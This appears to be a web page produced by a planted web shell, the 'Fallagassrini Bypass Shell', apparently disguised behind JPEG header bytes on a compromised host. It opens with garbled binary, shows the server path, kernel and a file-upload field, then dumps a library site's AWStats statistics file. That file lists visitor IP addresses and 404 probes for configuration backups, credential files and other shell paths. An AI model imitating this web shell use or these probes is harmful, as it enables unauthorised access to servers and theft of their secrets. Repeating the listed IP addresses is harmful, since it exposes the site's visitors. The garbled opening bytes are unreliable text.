JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/tmp/awstats/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/tmp/awstats/awstats052025.easwarilibrary.in.txt

AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202505 will be lost/reset.
# Last config file used to build this data file was /home/easwari/tmp/awstats/awstats.easwarilibrary.in.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2013                
POS_TIME 2692                
POS_VISITOR 13116               
POS_DAY 24320               
POS_DOMAIN 3753                
POS_LOGIN 4255                
POS_ROBOT 4410                
POS_WORMS 5253                
POS_EMAILSENDER 5384                
POS_EMAILRECEIVER 5527                
POS_SESSION 24623               
POS_SIDER 24824               
POS_FILETYPES 5662                
POS_DOWNLOADS 5915                
POS_OS 5963                
POS_BROWSER 6248                
POS_SCREENSIZE 7296                
POS_UNKNOWNREFERER 7370                
POS_UNKNOWNREFERERBROWSER 7973                
POS_ORIGIN 8370                
POS_SEREFERRALS 8508                
POS_PAGEREFS 8671                
POS_SEARCHWORDS 8819                
POS_KEYWORDS 8971                
POS_MISC 2355                
POS_ERRORS 9030                
POS_CLUSTER 4111                
POS_SIDER_404 9133                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20250509174204 38 9877 12724568505545
FirstTime 20250501002624
LastTime 20250509172807
LastUpdate 20250509174446 38 38 0 0 0
TotalVisits 325                 
TotalUnique 268                 
MonthHostsKnown 0                   
MonthHostsUnknown 282                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
FlashSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
RealPlayerSupport 0 0 0
JavascriptDisabled 0 0 0
TotalMisc 0 0 0
DirectorSupport 0 0 0
AddToFavourites 0 16 0
JavaEnabled 0 0 0
PDFSupport 0 0 0
QuickTimeSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 9 11 1516590 14850 14877 1177532692
1 12 12 906253 15090 15145 1191301948
2 16 16 1455468 14982 15005 1185926860
3 16 19 2781052 12803 12836 1014776098
4 7 7 1131314 14377 14429 1139314798
5 53 97 6566178 15507 15562 1224803784
6 37 37 2759145 15294 15317 1209851201
7 28 29 2956964 12181 12214 961028039
8 12 12 1213313 11666 11688 920887175
9 12 27 2348223 12846 12913 980726230
10 25 34 2672520 12749 12776 976449654
11 49 169 9108259 12908 12955 972543515
12 39 88 6635978 12537 12606 953409143
13 12 52 4710884 13007 13055 931491931
14 132 133 6885205 12121 12143 957547933
15 32 70 6935795 15137 15196 1150765324
16 24 27 3231666 14861 14904 1179434721
17 35 60 4230784 11939 11995 948474271
18 13 19 917423 9823 9850 779676596
19 16 21 2854276 11726 11770 913202898
20 20 58 5525463 11635 11681 922347077
21 43 79 6257783 13076 13098 1036331153
22 40 40 3619633 13399 13413 1053510088
23 10 19 1473607 14568 14588 1145991601
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 18
jp 153 153 15350334
us 150 333 29350313
tw 104 104 2564472
ru 71 71 7575288
in 70 317 18588172
nl 56 56 3561897
cn 31 31 3570779
ua 12 12 1674085
se 10 10 938708
de 7 7 440843
tr 6 6 739638
il 6 6 738645
ca 6 8 1363570
hr 5 5 517922
bg 2 2 443122
fr 1 1 221754
gb 1 1 221562
ir 1 13 832672
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 18
bot[\s_+:,\.\;\/\\-] 311547 24682106813 20250509174204 0
AhrefsBot/ 2118 160354361 20250509174200 0
Googlebot/ 523 41998207 20250509165305 0
DotBot/ 159 12162797 20250509135908 0
SemrushBot/ 99 6640634 20250509044534 0
Go\-http\-client/ 97 4487126 20250509071703 0
bingbot/ 45 3421003 20250509143927 0
crawl 35 3872925 20250509095221 0
nbot 24 2470505 20250509151520 0
MJ12bot/ 18 2369004 20250507223927 0
baidu 17 1925035 20250509092910 0
facebookexternalhit/ 12 1701223 20250508181841 0
Googlebot\-Image/ 6 1013752 20250509002231 0
Applebot/ 4 876670 20250508154622 0
no_user_agent 3 664247 20250504052545 0
YandexBot/ 2 442824 20250505055100 0
survey 1 221531 20250503105512 0
curl 1 45787 20250506090212 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 10
eot 1 76518 0 0
woff 7 74596 0 0
php 551 35032826 0 0
gif 9 76284 0 0
css 125 6167195 0 0
png 68 5345453 0 0
woff2 7 503272 0 0
js 177 6370269 0 0
jpg 65 9568698 0 0
html 126 25478665 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 16
win10 397 201
macosx14 1 1
ios_iphone 257 215
macosx 3 2
win8 27 2
winxp 24 24
android 122 14
androidnougat 3 3
android10 20 0
win8.1 1 1
win7 190 158
winlong 46 46
Unknown 17 17
linuxubuntu 20 1
linux 7 6
macosx15 1 1
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 49
chrome129.0.0.0 27 27
chrome107.0.0.0 1 1
chrome90.0.2808 1 0
chrome87.0.4805.138 1 1
chrome70.0.3538.77 2 2
chrome57.0.2476 1 1
msie7.0 131 106
firefox115.0 20 1
firefox115 1 1
chrome80.0.3987.149 3 3
chrome105.0.0.0 1 1
chrome91.0.4472.124 3 3
chrome78.0.3904.108 2 2
chrome111.0.0.0 1 1
safari 1 1
chrome47.0.2526.111 23 23
chrome98.0.2723 1 0
chrome85.0.4183.121 1 1
firefox48.0 23 23
safari16.6.1 3 0
chrome126.0.0.0 2 2
chrome38.0.2125.104 23 23
chrome4.0.222.4 1 1
safari17.6 3 0
chrome135.0.7049.111 9 0
chrome117.0.5938.132 83 7
msie11.0 39 26
netscape5.0 3 3
chrome83.0.4103.61 1 1
chrome91.0.4472.114 1 1
Unknown 7 7
chrome60.0.3112.107 3 3
firefox135.0 43 7
chrome83.0.2762.110 1 1
safari17.0.1 39 3
chrome136.0.7103.32 1 0
chrome131.0.0.0 70 70
chrome99.0.1250 1 1
chrome132.0.0.0 40 3
safari13.0.3 211 211
chrome130.0.0.0 28 28
chrome103.0.0.0 6 6
mozilla 7 7
opera18.0.1284.49 22 22
chrome74.0.3729.169 9 9
firefox114.0 1 1
chrome135.0.0.0 146 43
firefox88.0 20 1
firefox101.0 69 7
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 6
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers&#39;_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20250509160727
ALittle_Client 20250501185113
Mozilla/5.0 20250505093220
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20250502132803
Mozilla/5.0_(compatible;_ips-agent) 20250502191609
Mozilla/5.0_zgrab/0.x 20250508012431
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 2
ALittle_Client 20250501185113
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers&#39;_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20250509160727
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 384 442
From1 9 9
From2 1 1
From3 0 0
From4 298 684
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 1
www_google_com 1 1
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 2
302 1 4531
404 5280 299259
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 111
/hplfuns.php 1 -
/plugins/datatables-buttons/js/radio.php 3 -
/images/BookImages/2025_04_26_19_09_04_A 8 -
/web/wp-includes/wlwmanifest.xml 2 -
/vendor/phpunit/phpunit/phpunit.xsd 1 -
/xmlrpc.php 2 -
/llm/img/favicon.html 1 http://easwarilibrary.in/llm/branch_book.php
/blog/wp-includes/wlwmanifest.xml 2 -
/wp-content/memberfuns.php 1 -
/category.php 1057 -
/cgi-bin/ALFA_DATA/alfacgiapi/ 1 -
/easwarilibrary 3 www.google.com
/wp-admin/install.php 1 -
/new 10 -
/wp-config.php-bak 1 -
/wp-config.php-orig 1 -
/sftp.json 1 -
/filefuns.php 1 -
/images/product-thumbnail/thumbs/index.php 2 -
/website/wp-includes/wlwmanifest.xml 2 -
/deployment-config.json 1 -
/css/images/help/admission.jpg 7 http://www.easwarilibrary.in/css/style.css
/wp-config.php_ 1 -
/wp/ALFA_DATA/alfacgiapi/ 1 -
/wp1/wp-includes/wlwmanifest.xml 2 -
/images/BookImages/2025_04_26_19_09_50_BOOK 4 https://easwarilibrary.in/
/adminer.php 1 -
/llm/img/eas.jpg 1 http://easwarilibrary.in/llm/index.php
/classfuns.php 1 -
/adminfuns.php 1 -
/llm/img/gallery/2index.php 2 -
/images/BookImages/2025_05_07_11_56_17_GREGOR 6 -
/backup 10 -
/shop/wp-includes/wlwmanifest.xml 2 -
/ectosphenotic.xml 1 -
/wp/wp-includes/wlwmanifest.xml 2 -
/sitemap.xml 3 -
/news/wp-includes/wlwmanifest.xml 2 -
/vzo3x.php 1 www.google.com
/ads.txt 9 -
/wp-config.php.org 1 -
/bk 7 -
/home 7 -
/wp-content/uploads/alm_templates/ALFA_DATA/alfacgiapi/ 1 -
/wp-content/plugins/WordPressCore/include.php 1 www.google.com
/test/wp-includes/wlwmanifest.xml 2 -
/wordpress/wp-includes/wlwmanifest.xml 2 -
/wp-content/hplfuns.php 1 -
/tempfuns.php 1 -
/wp-config.php_orig 1 -
/single-event.html 1 -
/admin/js/plugins/rickshaw/content.php 2 -
/wp-config.php_bak 1 -
/wp-config.php.bk 1 -
/plugins/datatables-keytable/js/wp-login.php 2 -
/old 10 -
/ALFA_DATA/ 1 -
/blog/ALFA_DATA/alfacgiapi/ 1 -
/cms/wp-includes/wlwmanifest.xml 2 -
/media/wp-includes/wlwmanifest.xml 2 -
/wp-config.php-old 1 -
/temp 3 www.google.com
/termps.php 1 -
/delpaths.php 1 -
/ALFA_DATA/alfacgiapi/ 1 -
/sito/wp-includes/wlwmanifest.xml 2 -
/js/jquery.validate.min.js 1 -
/site/wp-includes/wlwmanifest.xml 2 -
/wp-content/plugins/HelloDollyV2/hello_dolly_v2.php 1 www.google.com
/main 7 -
/memberfuns.php 1 -
/css/images/help/courses.jpg 7 http://www.easwarilibrary.in/css/style.css
/wp2/wp-includes/wlwmanifest.xml 2 -
/robots.txt 348 -
/css/images/help/faculty.jpg 7 http://www.easwarilibrary.in/css/style.css
/wp-admin/admin-ajax.php 1 -
/wares/Q572380.shtml 1 -
/2018/wp-includes/wlwmanifest.xml 2 -
/subscription.php 8 http://easwarilibrary.in/subscription.php
/wordpress 13 -
/wp-config.php.bak 1 -
/wp-admin/userfuns.php 1 -
/book-detail.php 3576 -
/Telerik.Web.UI.WebResource.axd%3Ftype=rau 1 -
/sites/all/libraries/elfinder/elfinder.html 1 -
/.vscode/sftp.json 3 -
/css/images/help/title-bg.jpg 4 http://easwarilibrary.in/css/style.css
/wp-includes/ALFA_DATA/alfacgiapi/ 1 -
/wordpress/ALFA_DATA/alfacgiapi/ 1 -
/courses.html 8 http://easwarilibrary.in/courses.html
/Kedushshah.xml 1 -
/wp-config.php~ 2 -
/wp-plain.php 1 www.google.com
/wp-config.php_old 1 -
/bc 7 -
/sftp-config.json 3 -
/css/images/help/eventsbgbk.jpg 7 http://www.easwarilibrary.in/css/style.css
/wp 13 -
/getcmd 1 -
/wp-content/plugins/apikey/apikey.php%3Ftest=hello 1 -
/thoms.php 1 -
/test 3 www.google.com
/admin/ALFA_DATA/alfacgiapi/ 1 -
/css_601498715604c911fab2b74fe2bc3939/_public_bundle_sp.bundle.min 1 -
/connects.php 1 -
/wp-includes/wlwmanifest.xml 2 -
/images/BookImages/2025_05_07_16_34_09_STRANGERS 6 -
/2019/wp-includes/wlwmanifest.xml 2 -
/css/images/help/gallery9.jpg 9 http://www.easwarilibrary.in/css/style.css
/wp-admin/memberfuns.php 1 -
/blog 3 www.google.com
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 282
1.168.51.31 104 104 2564472 20250509140446
106.222.220.216 41 89 1982570 20250506120928
192.42.116.217 16 16 1125867 20250503053801
54.37.234.111 10 10 1429178 20250509151404
5.255.99.5 10 10 617720 20250504064343
89.175.12.245 8 8 984678 20250507191043
106.195.39.11 7 43 3089278 20250505113149
188.68.49.235 7 7 440843 20250504064401
2.56.172.186 6 6 738645 20250504200238
109.248.14.242 6 6 738645 20250504032712
74.119.147.209 6 6 739638 20250508131525
192.111.135.18 6 6 739638 20250509120955
103.219.21.11 6 6 739638 20250509033339
45.84.107.128 6 6 531640 20250506210136
94.228.240.121 6 6 738738 20250506214731
72.13.62.26 6 6 282057 20250502191609
176.53.186.81 6 6 739638 20250507221028
45.81.137.53 6 6 739638 20250507224538
199.116.112.6 6 6 739638 20250508105550
94.131.119.101 6 6 738645 20250504172856
37.139.53.159 6 6 739200 20250506141923
46.8.16.186 6 6 739200 20250506022000
62.84.97.3 6 6 739083 20250503142816
192.42.116.201 6 6 360729 20250506210157
192.42.116.179 5 5 283681 20250504064353
43.135.138.128 1 1 76253 20250505093933
43.153.67.21 1 1 31236 20250505173224
43.135.144.126 1 1 75724 20250505103750
45.84.107.97 2 2 57474 20250504223830
106.222.196.255 0 5 928199 
43.159.152.4 1 1 71443 20250502122148
43.166.244.192 2 2 249205 20250505022114
43.157.82.252 1 1 24234 20250501022232
165.154.118.169 1 2 238644 20250506090232
43.159.139.164 1 1 73238 20250508150440
43.157.209.67 2 2 246629 20250508203236
43.130.71.237 2 2 296262 20250507075959
43.130.53.252 2 2 86004 20250505165159
43.156.232.190 1 1 24883 20250503100929
199.244.88.230 1 1 221430 20250507033835
43.130.67.33 2 2 297547 20250508073538
43.133.14.237 2 2 443154 20250509111808
43.130.106.18 1 1 35639 20250502013315
170.106.113.235 4 4 396153 20250508165533
43.157.202.235 1 1 221430 20250507054138
43.166.136.153 1 1 76934 20250504071901
43.133.91.48 2 2 246629 20250508143541
3.129.24.207 1 1 0 20250507062722
43.157.170.13 2 2 298635 20250507151501
35.89.225.86 3 3 664793 20250506123556
205.210.31.215 1 1 221562 20250502213100
113.215.189.69 2 2 443472 20250501044406
119.28.177.175 1 1 76268 20250502175521
43.157.38.131 1 1 76209 20250504074022
43.153.113.127 1 1 26230 20250505225455
43.133.69.37 1 1 221593 20250505152841
43.166.239.145 3 3 225878 20250507064046
129.226.93.214 2 2 146624 20250503183626
185.220.100.253 2 2 57474 20250506210231
43.153.76.247 1 1 221561 20250502100557
49.206.100.193 0 9 477172 
198.235.24.32 1 1 221561 20250502141808
43.130.57.76 2 2 101495 20250508071823
185.220.100.240 1 1 83419 20250506210210
223.187.112.144 3 39 2462744 20250506214808
205.169.39.24 3 41 2873308 20250507205300
43.157.168.43 2 2 246484 20250506122417
206.189.135.3 1 1 221423 20250503195955
49.51.196.42 1 1 73466 20250508154638
45.84.107.74 3 3 160551 20250504223726
43.157.179.227 1 1 76619 20250504074744
43.159.143.187 2 2 247652 20250504130539
43.157.53.115 1 1 31233 20250505164038
193.176.23.38 2 2 246215 20250503154640
49.51.73.183 1 1 221447 20250506192926
223.185.202.2 0 3 563187 
170.106.15.3 1 1 74665 20250506000830
49.51.243.156 1 1 221399 20250505021518
43.167.157.80 2 2 68387 20250502104913
43.166.136.202 2 2 256269 20250506213745
104.28.237.248 1 1 24830 20250505203627
42.108.238.15 1 6 53023 20250503180628
43.155.129.131 1 1 24857 20250503111434
43.166.255.122 1 1 35639 20250507062021
42.111.162.197 0 2 340936 
49.51.233.46 1 1 76605 20250504061105
49.51.38.193 1 1 24883 20250503112526
170.106.11.141 1 1 73272 20250503184600
43.159.149.216 1 1 76008 20250502114153
43.159.128.155 1 1 221545 20250503084329
43.130.40.120 1 1 221545 20250503002243
43.135.144.81 2 2 297368 20250502124108
43.130.31.17 1 1 30944 20250506220735
45.84.107.172 5 5 188437 20250503053811
43.130.100.35 1 1 76612 20250508083447
198.235.24.94 1 1 221737 20250509160727
49.51.183.15 1 1 32737 20250507072546
205.169.39.43 1 1 177358 20250507204938
43.130.3.122 1 1 31084 20250502102119
43.159.149.56 1 1 26238 20250501025329
43.153.48.240 1 1 83479 20250501010533
170.106.148.137 1 1 221415 20250503221355
170.106.72.93 1 1 77298 20250508062415
43.152.72.244 1 1 73245 20250503164755
188.162.10.182 3 3 271191 20250502011046
198.235.24.19 1 1 221446 20250507093230
43.159.144.16 1 1 46550 20250508084410
3.72.62.127 1 1 0 20250508043531
43.130.32.245 1 1 75830 20250502010251
49.47.218.115 0 3 563187 
92.255.85.164 2 2 246361 20250502111925
45.84.107.182 4 4 299895 20250506210206
3.92.245.28 1 1 221593 20250502164533
54.176.59.228 1 20 1339443 20250505054420
43.135.133.241 1 1 221437 20250506193340
43.155.27.244 1 1 76200 20250501182605
43.165.69.68 1 1 221746 20250508143146
43.153.135.208 1 1 75717 20250507162846
43.131.253.14 1 1 221552 20250503002849
43.159.152.187 2 2 297171 20250508063531
43.165.65.180 1 1 44542 20250506210755
93.158.90.65 1 1 221609 20250506063709
43.153.119.119 1 1 26230 20250507072829
170.106.147.63 1 1 73245 20250508155607
104.28.205.246 2 2 443140 20250505203726
117.132.188.204 1 1 109635 20250509013701
49.51.50.147 2 2 246281 20250508080417
43.159.136.201 1 1 77233 20250501180717
129.226.213.145 2 2 152586 20250505230547
157.173.122.176 1 1 221562 20250503115213
92.255.57.39 2 2 246361 20250502231436
43.155.188.157 1 1 24884 20250503101553
185.85.242.243 1 1 221754 20250508012431
45.84.107.222 2 2 443239 20250508041600
43.130.37.243 1 1 76612 20250501162223
43.157.149.188 1 1 221746 20250508204214
165.154.206.222 1 2 238620 20250506090235
170.106.72.178 2 2 149856 20250508161604
43.159.138.217 1 1 221600 20250505153256
43.157.153.236 1 1 72378 20250502122906
49.51.52.250 2 2 122149 20250501023957
43.155.195.141 1 1 76253 20250507152806
49.51.195.195 2 2 84237 20250507044743
49.51.204.74 1 1 221561 20250502173418
43.156.109.53 1 1 46547 20250506215900
147.185.132.9 2 2 443152 20250506072834
49.51.183.84 2 2 104549 20250505174207
43.157.50.58 1 1 221416 20250503154254
166.108.205.184 1 1 221739 20250508214931
43.159.145.149 1 1 76994 20250505235837
124.156.225.181 1 1 221447 20250507043240
129.146.24.173 1 14 526833 20250504053452
43.153.86.78 1 1 77134 20250504071021
43.133.220.37 1 1 35647 20250505100741
43.130.16.212 2 2 104277 20250508170355
3.137.213.57 1 1 0 20250504022818
31.56.240.150 1 13 832672 20250505054753
42.108.235.48 0 1 17036 
165.22.106.85 2 2 442876 20250507072952
202.83.25.127 2 27 1155473 20250509170920 20250509170919 /fonts/fontawesome-webfont.eot
43.130.102.7 2 2 298350 20250505104918
170.106.35.187 2 2 146576 20250508160558
42.104.225.73 3 39 2805883 20250503122403
43.130.16.140 2 2 74653 20250507062905
185.220.101.81 4 4 232380 20250504223745
170.106.161.78 1 1 221746 20250509110958
157.51.119.17 0 3 563187 
106.222.196.163 1 11 277447 20250506090247
162.62.213.187 1 1 75795 20250507171756
43.157.142.101 1 1 221446 20250507043918
43.130.139.136 1 1 77933 20250504072932
101.33.55.204 1 1 72302 20250502121048
170.106.181.163 1 1 34854 20250508074554
170.106.167.214 1 1 73245 20250505175155
170.106.107.87 1 1 77047 20250504070111
34.176.121.65 2 2 443342 20250507165950
93.140.58.62 5 5 517922 20250509071216
43.165.70.220 2 2 101171 20250507055444
183.82.24.102 0 1 280589 
46.183.187.220 1 1 24857 20250501100436
43.159.143.139 2 2 72110 20250506212725
42.104.226.22 0 1 43776 
43.130.91.95 1 1 71428 20250502113029
43.166.253.94 1 1 73245 20250503182657
35.229.33.99 2 2 443176 20250506074245
185.220.101.23 5 5 347802 20250502050309
15.237.209.26 1 1 221754 20250508140323
49.51.36.179 1 1 45291 20250505113847
194.145.227.125 1 1 221625 20250501185113
43.130.78.203 2 2 244855 20250507215824
43.166.237.57 1 1 221746 20250509033238
43.134.186.61 1 1 83419 20250506201543
43.159.128.247 1 1 221399 20250503221955
117.200.117.35 4 4 296206 20250509143419
43.130.15.147 1 1 31228 20250501234021
192.42.116.215 4 4 299439 20250504223734
164.90.161.192 1 1 0 20250503092723
43.130.47.33 2 2 149347 20250508163425
43.166.255.102 2 2 252637 20250507170144
171.79.49.147 0 2 433529 
3.147.46.153 1 1 0 20250506062602
43.128.149.102 1 1 74653 20250502005247
43.157.147.3 1 1 24851 20250505172134
35.159.97.74 1 1 0 20250509065043
195.47.238.84 3 3 160555 20250502050248
43.165.67.57 1 1 75949 20250502021043
185.220.103.8 2 2 249349 20250503053735
192.42.116.214 4 4 209029 20250504223759
43.135.172.89 3 3 224973 20250503175751
170.106.11.6 2 2 298541 20250505213320
43.153.204.189 1 1 221399 20250504053523
43.153.15.51 2 2 118623 20250507164951
206.168.34.195 1 1 221562 20250502132803
207.154.228.27 1 1 221423 20250503195015
206.233.128.153 1 1 0 20250505214226
205.169.39.44 3 41 2764384 20250502153255
43.153.49.151 1 1 31084 20250507161959
72.195.34.58 2 2 443432 20250509143454
192.42.116.178 4 4 230782 20250506210145
43.153.102.138 1 1 75826 20250505110838
171.25.193.77 5 5 335090 20250502050259
43.166.245.250 1 1 76123 20250507074131
185.220.101.55 3 3 285374 20250502050333
43.159.145.153 3 3 370935 20250508162725
170.106.65.93 1 1 221601 20250506123247
43.135.135.57 1 1 73238 20250505155211
43.153.35.128 2 2 100600 20250508082445
172.245.241.123 1 1 109635 20250505093220
18.236.138.208 1 1 221545 20250503140413
43.128.67.187 1 1 61128 20250508164427
43.163.206.70 1 1 23101 20250502114937
43.153.104.196 1 1 221746 20250509033935
49.51.253.26 2 2 60527 20250505100053
3.147.77.231 2 2 0 20250505175441
49.51.39.209 2 2 443146 20250508061023
65.215.70.2 4 4 492310 20250505140245
43.166.251.233 1 1 221545 20250501161023
49.51.183.75 2 2 150041 20250503180752
43.167.241.46 1 1 83572 20250508064305
43.135.182.43 1 1 24876 20250503102442
43.153.123.3 3 3 225194 20250505113010
43.156.202.34 2 2 305086 20250503155547
13.233.167.162 2 37 2579726 20250505113431
106.222.196.110 0 2 340936 
185.147.125.18 2 2 246215 20250504160732
43.165.65.75 1 1 76431 20250503094111
43.157.250.210 1 1 221602 20250507152325
170.106.160.90 1 1 24876 20250503103713
4.213.146.165 3 40 2743487 20250505134418
43.130.111.40 2 2 249382 20250507170937
49.51.245.241 1 1 221689 20250501002624
192.42.116.191 5 5 188435 20250502050341
43.135.142.37 1 1 27797 20250507180024
43.133.139.6 1 1 221561 20250502000536
37.19.223.200 5 5 713815 20250504152721
106.222.196.135 2 11 569355 20250503122354
43.134.141.244 1 1 32729 20250502014204
27.62.142.143 0 3 410247 
185.220.101.20 5 5 383392 20250504223825
195.47.238.93 1 1 221454 20250506210120
170.106.113.159 1 1 52766 20250502120119
104.28.237.251 1 1 221570 20250505203732
43.166.134.47 2 2 49734 20250508081601
170.106.192.3 1 1 24876 20250501014420
15.237.219.113 2 2 443484 20250509102559
49.51.203.164 1 1 221747 20250509172401 20250509172401 /
124.156.226.179 1 1 75900 20250507173800
42.111.164.38 0 9 477172 
43.166.7.113 1 1 24234 20250505231835
43.157.207.78 1 1 35654 20250507070857
223.178.86.78 0 1 280589 
43.156.156.96 1 1 76268 20250507052658
170.106.110.146 2 2 152233 20250505233827
185.40.4.20 1 1 221569 20250502050239
93.123.109.29 2 2 443122 20250502205919
173.208.248.50 3 3 274085 20250505083650
43.167.239.66 1 1 221747 20250509172807 20250509172807 /
43.130.14.245 1 1 74657 20250507074814
43.166.247.82 1 1 221408 20250504192230
43.166.226.186 2 2 443484 20250508060037
43.130.39.254 1 1 31228 20250507060025
43.135.145.73 1 1 0 20250502185016
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 9
20250501 29 31 3291812 27
20250502 72 112 9424311 43
20250503 74 135 10552111 44
20250504 88 102 9131886 33
